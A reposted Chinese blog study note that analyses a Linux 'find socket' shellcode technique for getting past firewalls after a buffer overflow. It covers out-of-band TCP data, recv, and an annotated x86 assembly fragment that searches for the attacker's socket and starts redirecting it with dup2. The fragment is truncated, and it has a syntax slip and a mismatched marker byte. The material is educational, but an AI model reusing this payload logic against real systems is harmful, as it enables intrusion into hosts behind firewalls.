《網絡滲透技術》學習筆記(3)——一段穿透防火牆的Shellcode彙編代碼分析 zz

http://blog.sina.com.cn/s/blog_492101c7010002sz.html

通過前面兩節的筆記,對程序棧結構、函數調用、系統調用等基礎知識已經形成了一定程度的認識,本節着重再次討論Linux下系統調用的實現,以加深理解,同時也討論了函數參數定位技術,還有一個準確定位常量的技巧。

    緩衝區溢出技術在發展,相應的防範技術也在發展,他們是相互促進的。先進的防火牆多數已具有過濾普通Shellcode的能力,也就是說他會過濾含有比如socket,bind等網絡函數的數據包,因此我們的Shellcode也就需要變通方法,尋求解決之道。在《網絡滲透技術》第三章的3.1.4節,主要討論了三種實現穿透防火牆Shellcode的技術思路。這三種技術與其說是傳統防火牆的技術,不如說是關於Linux系統調用的好例子。下面我們就摘取其中的第二種技術(這三種技術大同小異)來看一下。

Cnhonker的bkbll最先使用這種技術。其大體思路可用如下僞C語言片斷描述:
i=0;
while(1){
i++;
recv(i,buf,1,1);
if(buf=='l') goto shell;
}

    也就是說,搜索本進程中接收緩衝區中含有我們預約字符串的套接字,這個套接字就是我們需要的套接字,也就是引起緩衝區溢出的那個套接字。具體來說,本技術使用了OOB(out of band,帶外傳送。OOB竟然還被人解釋成out of blog,ha)技術。OOB的出現是爲了滿足特殊用途,當需要傳送比較特殊(比如比較緊急)的數據時可以使用OOB方式來發送。

關於OOB,我再根據《滲透》中的內容談一下我的理解:
    當發送端應用程序需要發送特殊數據時,他將使用OOB方式,發送方TCP進入緊急模式,此後發送出的每個數據包都包含URG標誌和16位URG指針,直到將要發送的OOB數據發送完爲止。TCP進入緊急模式時我們也可以稱創建了一個OOB通道,當OOB數據全部發送完畢通道才關閉,TCP就又恢復到正常狀態。舉個不太恰當的例子:對於青島市市政府前面香港中路的某段路,平時各色車輛按照規則通行。當有一天,某位重要人物蒞臨青島,其車隊(自然是警車開道特氣派的那種)浩浩蕩蕩在香港中路行駛,當開始進入這段路時這段路就進入了OOB狀態,此時其他閒雜車輛是不允許經過這段路的,直到車隊通過了才解開封鎖,這段路就又恢復到正常狀態。

    按照《滲透》中所述,在接收端,第一次接收到一個OOB數據包後也進入緊急狀態,用戶此時可以recv OOB數據,雖然此時可能OOB數據也許並未準備好。

[注意] 在一個OOB通道中,除了最後一個字節被當作OOB接收外,此前的字節都會被當作普通數據接收。這一點可以從上面那段代碼中看出。那裏只是用OOB方式接收了1個字節。比如,如果發送端發送的OOB數據是"xxxxxxxxxxxxxxxxxxxxxxxxxxy",那麼接收端接收到的OOB數據只會是一個字節'y'。
這裏給出一個關於OOB技術的參考網址:http://caycraft.blogchina.com/2163484.html

    recv函數的原型是這樣的:int recv( SOCKET s,  char FAR *buf,   int len,  int flags  ); 。
他從當前進程的套接字s的接收緩衝區中以flags的方式試圖讀取指定長度len的內容存放到buf,並返回實際讀取到的字節數。
一般地,flags是0,也就是表示普通方式,但當需要接收OOB數據時需要指定flags爲1。
這裏給出一個關於recv函數的參考網址:http://www.blog.edu.cn/user2/shyyan/archives/2005/1046578.shtml

    《滲透》中討論的三種穿透防火牆的Shellcode技術都是需要exploit配合的,也就是說當exploit發送完包含Shellcode的攻擊字符串後,還需要接着發送預約的一個特徵字符串,以便當在遠程機器中成功溢出並執行Shellcode後,Shellcode可以進而搜索含有該預約字符串的socket。
    具體到這種方式,exploit在發送了攻擊串後就接着用OOB方式發送預約串。在Shellcode裏面,稍等片刻(比如1秒)後就開始搜索含有預約串的socket。具體Shellcode中用來搜索預約串的那段代碼對應的彙編代碼如下:
[注意] 這段代碼中並未去調用Linux封裝好的函數,而是直接進行了系統調用。

;等待1秒以便預約串發送過來
xorl  %eax,%eax
pushl %eax,%eax
incl  %eax
pushl %eax             ;構造struct timespec變量 {1,0}

 ;把此變量的指針存入ebx,作爲sys_nanosleep的第一個參數。這裏就是我們說的函數參數定位的技巧
movl  %esp,%ebx       

xorl  %ecx,%ecx        ;sys_nanosleep的第二個參數置NULL
movb  $0xa2,%al        ;sys_nanosleep的系統調用號
int   $0x80            ;開始系統調用

jmp   locate_addr      ;一個短跳轉,下面可以看到其用意

find_s:
      pop  %edi        ;ok,一個jmp,一個call,一個pop,我們就得到了常量字符串的地址
      xorl %esi,%esi   ;esi中存放的是socket索引值

find_s_loop:
      incl  %esi       ;搜索下一個socket

      decl  %esp
      movl  %esp,%edx  ;定位buf的地址並存入edx
     
      xorl  %eax,%eax  ;0 --> eax
      incl  %eax       ;1 --> eax
      pushl %eax       ;push 1
      pushl %eax       ;push 1
      pushl %edx       ;push buf
      pushl %esi       ;push socket
      movl  %esp,%ecx  ;上面準備好了recv的參數,現在將參數所在地址存入ecx
     
      xorl  %ebx,%ebx  ;0 --> ebx
      movb  $0x0a,%bl  ;SYS_RECV
      movb  $0x66,%al  ;sys_socketcall的系統調用號
      int   $0x80      ;進入系統調用
     
      decl  %eax      
      jnz   find_s_loop ;是否接收到了一個字節?如果不是則繼續搜索
     
      cmpb  $0x49,(%edx)
      jne   find_s_loop ;是否接收到的是我們預約的串?如果不是則繼續搜索
     
;找到了我們要找的socket,其索引值在esi,現在我們把他存入ebx,作爲dup2的第一個參數
      movl  %esi,%ebx   
      xorl  %ecx,%ecx
      movb  $0x03,%cl   ;0x03 --> ecx
     
dup2s:
      movb  $0x3f,%al   ;dup2的系統調用號
      decl  %ecx        ;0x02 --> ecx,dup2的第二個參數
      int   $0x80       ;進行系統調用
     
      incl  %ecx        ;恢復ecx的值爲3

發佈了7 篇原創文章 · 獲贊 1 · 訪問量 4萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章